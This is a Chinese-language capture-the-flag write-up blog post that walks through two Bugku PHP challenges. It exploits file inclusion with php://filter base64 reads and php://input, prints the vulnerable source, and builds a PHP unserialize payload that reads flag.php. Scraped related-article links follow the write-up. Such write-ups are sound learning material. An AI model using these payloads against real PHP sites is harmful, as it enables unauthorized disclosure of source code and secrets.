php封装协议的两道题
这几天终于刷完了自己说是要刷完的那几道题,赶紧写几篇博客记录。。
1. 先看看这个网站:https://blog.csdn.net/qq_41289254/article/details/81388343
接下来直接上题:
1.http://123.206.87.240:8005/post/index.php?file=show.php

看源码和抓包都无果,根据题目提示,flag在index里,应该想到这里是要我们找到index.php的源码。
再看url里面file参数=show.php这里联想到可能是有文件包含漏洞。
所以这里进行php://filter协议去看index的源码
关于 php://filter 这里有个大佬的博客:https://www.leavesongs.com/PENETRATION/php-filter-magic.html
这里有一句常常用到,所以我觉得最好可以背下来,不然每次都难得百度,需要想将php转base64读取,这样include才不会把php文件执行。
这里令file=php://filter/read=convert.base64-encode/resource=index.php
然后直接拿到index的base64的源码,然后直接拿去解码,然后再源码里可以找到flag。
2.bugku "welcome to bugkuctf"
连接:http://123.206.87.240:8006/test1/
点进去看源码

这里可以看到 include($file); 有这个一般都存在文件包含漏洞。
和上题一样,这里可以利用php封装协议查看index.php 的源码和 hint.php的源码,但是,这里要先满足if里的条件才会包含file
file_get_contents() 这个函数是把文件读为字符串,这里要用到php://input 协议,
这里有关于 php://input 协议的一片博客附上:https://blog.csdn.net/qq_27682041/article/details/73326435
官方的说法是

我自己的理解是,php://input 它是一个文件,它读取post数据,并且写入文件里,而include()会把文件当作php文件来解释,所以可以post php代码执行的。
回到这道题,这里就直接user=php://input 然后再post数据过去,然后再读取index和hint两个的源码
http://123.206.87.240:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=index.php

拿去base64解码 得到源码
<?php 
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
		echo "ä¸è½ç°å¨å°±ç»ä½ flagå¦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}
?>
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}
同样的方法拿到 hint.php的源码
<?php
class Flag{//flag.php  
    public $file;
public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
		return ("good");
        }  
    }  
}  
?>
这里看到flag.php 本来是想直接读出flag的源码,但是没法读,因为他把flag给我过滤了,但是 ,这里 else里面又有include(),而且最后会echo password,所以这里想到会用echo输出flag。
else里面又有include(),而且最后会echo password,所以这里想到会用echo输出flag。
unserialize()函数参见此网站,https://www.cnblogs.com/perl6/p/7124345.html
看了过后你就应该明白,这里构造 password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

php封装协议的两道题的更多相关文章
- LFI、RFI、PHP封装协议安全问题学习
		本文希望分享一些本地文件包含.远程文件包含.PHP的封装协议(伪协议)中可能包含的漏洞 相关学习资料 http://www.ibm.com/developerworks/cn/java/j-lo-lo ... 
- LFI & RFI & PHP封装协议之安全问题研究
		目录 . 文件包含的基本概念 . LFI(Local File Include) . RFI(Remote File Include) . PHP中的封装协议(伪协议).PHP的流式文件操作模式所带来 ... 
- 通用路由封装协议——GRE
		一.GRE简介 通用路由封装协议GRE(Generic Routing Encapsulation)可以对某些网络层协议(如IPX.ATM.IPv6.AppleTalk等)的数据报文进行封装,使这些被 ... 
- PHP 支持的协议/封装协议列表
		附录 L. 支持的协议/封装协议列表 目录 文件系统 Socket HTTP 和 HTTPS FTP 和 FTPS PHP 输入/输出流 压缩流 Secure Shell 2 音频流 以下是 PHP ... 
- 关于php支持的协议与封装协议
		<?php /* * php://stdin 标准输入流 * php://stdout 标准输入流 * php://stderr 标准错误流 * php://output 只写的数据流 * ph ... 
- FTP协议的两种工作模式简单解析!
		转载自百度百科:http://baike.baidu.com/link?url=KaBZmDM4IZ2v56MyoOnpjqKr0gADv_BRbgjlscYdyvh3-zDwINOHNPSi9Jlp ... 
- (十四)UDP协议的两个主要方法sendto和recvfrom详解
		在网络编程中,UDP运用非常广泛.很多网络协议是基于UDP来实现的,如SNMP等.大家常常用到的局域网文件传输软件飞鸽传书也是基于UDP实现的. 本篇文章跟大家分享linux下UDP的使用和实现,主要 ... 
- 分布式协议之两阶段提交协议(2PC)和改进三阶段提交协议(3PC)
		一. 事务的ACID 事务是保证数据库从一个一致性的状态永久地变成另外一个一致性状态的根本,当中,ACID是事务的基本特性. A是Atomicity,原子性.一个事务往往涉及到很多的子操作,原子性则保 ... 
- Codeforces 460 DE 两道题
		D Little Victor and Set 题目链接 构造的好题.表示是看了题解才会做的. 假如[l,r]长度不超过4,直接暴力就行了. 假如[l,r]长度大于等于5,那么如果k = 1,显然答案 ... 
随机推荐
- SpringBoot注解分析解释
			使用注解的优势: 1.采用纯java代码,不在需要配置繁杂的xml文件 2.在配置中也可享受面向对象带来的好处 3.类型安全对重构可以提供良好的支持 4.减少复杂配置文件的同时亦能享受到springI ... 
- 莫烦TensorFlow_01 基本程序结构
			import tensorflow as tf import numpy as np # create data x_data = np.random.rand(100).astype(np.floa ... 
- Graph Embedding:
			https://blog.csdn.net/hy_jz/article/details/78877483 基于meta-path的异质网络Embedding-metapath2vec metapath ... 
- phoenix hbase Can't get master address from ZooKeeper; znode data == null
			问题描述: 项目一直在用的hbase节点 简称h1 由于网络问题,无法使用,重新找了一个网络稳定的节点 z1作为新的hbase库,库名称hbase_test,zookeeper等都配置好后,通过j ... 
- 前端Vue项目——课程详情页面实现
			一.详情页面路由跳转 应用 Vue Router 编程式导航通过 this.$router.push() 来实现路由跳转. 1.绑定查看详情事件 修改 src/components/Course/Co ... 
- [THUPC2018]生生不息(???)
			SB题,写来放松身心. 首先 $n,m\le 5$,这是可以打表的. 本地怎么对于一个 $n,m$ 求答案?此时虽然复杂度不需要太优,但是还是得够快. 一个想法是枚举每个初始状态,不停模拟.因为总状态 ... 
- centos6服务启动脚本及开机启动过程
			centos6服务启动脚本 centos6的服务启动脚本都放在/etc/rc.d/init.d/下,/etc/init.d/是/etc/rc.d/init.d/的软链接: centos6的服务启动脚本 ... 
- 好用的低延迟vps
			ZeptoVM是一个俄罗斯的云提供商, 由于提供了黑龙江北边的机房, 所以延迟比较低 注意一定要选Khabarovsk节点, 这个节点延迟很低, 我在上海延迟大约有70ms 缺点就是比较贵, 按照年付 ... 
- 建模语言UML
			建模语言UML Unified Modeling Language (UML)又称统一建模语言或标准建模语言,它是一个支持模型化和软件系统开发的图形化语言,为软件开发的所有阶段提供模型化和可视化支持, ... 
- pytorch_01_基础_一维线性回归
			pytorch基础 pytorch官方文档:https://pytorch.org/docs/master/nn.html#linear-layers import torchfrom torch i ... 
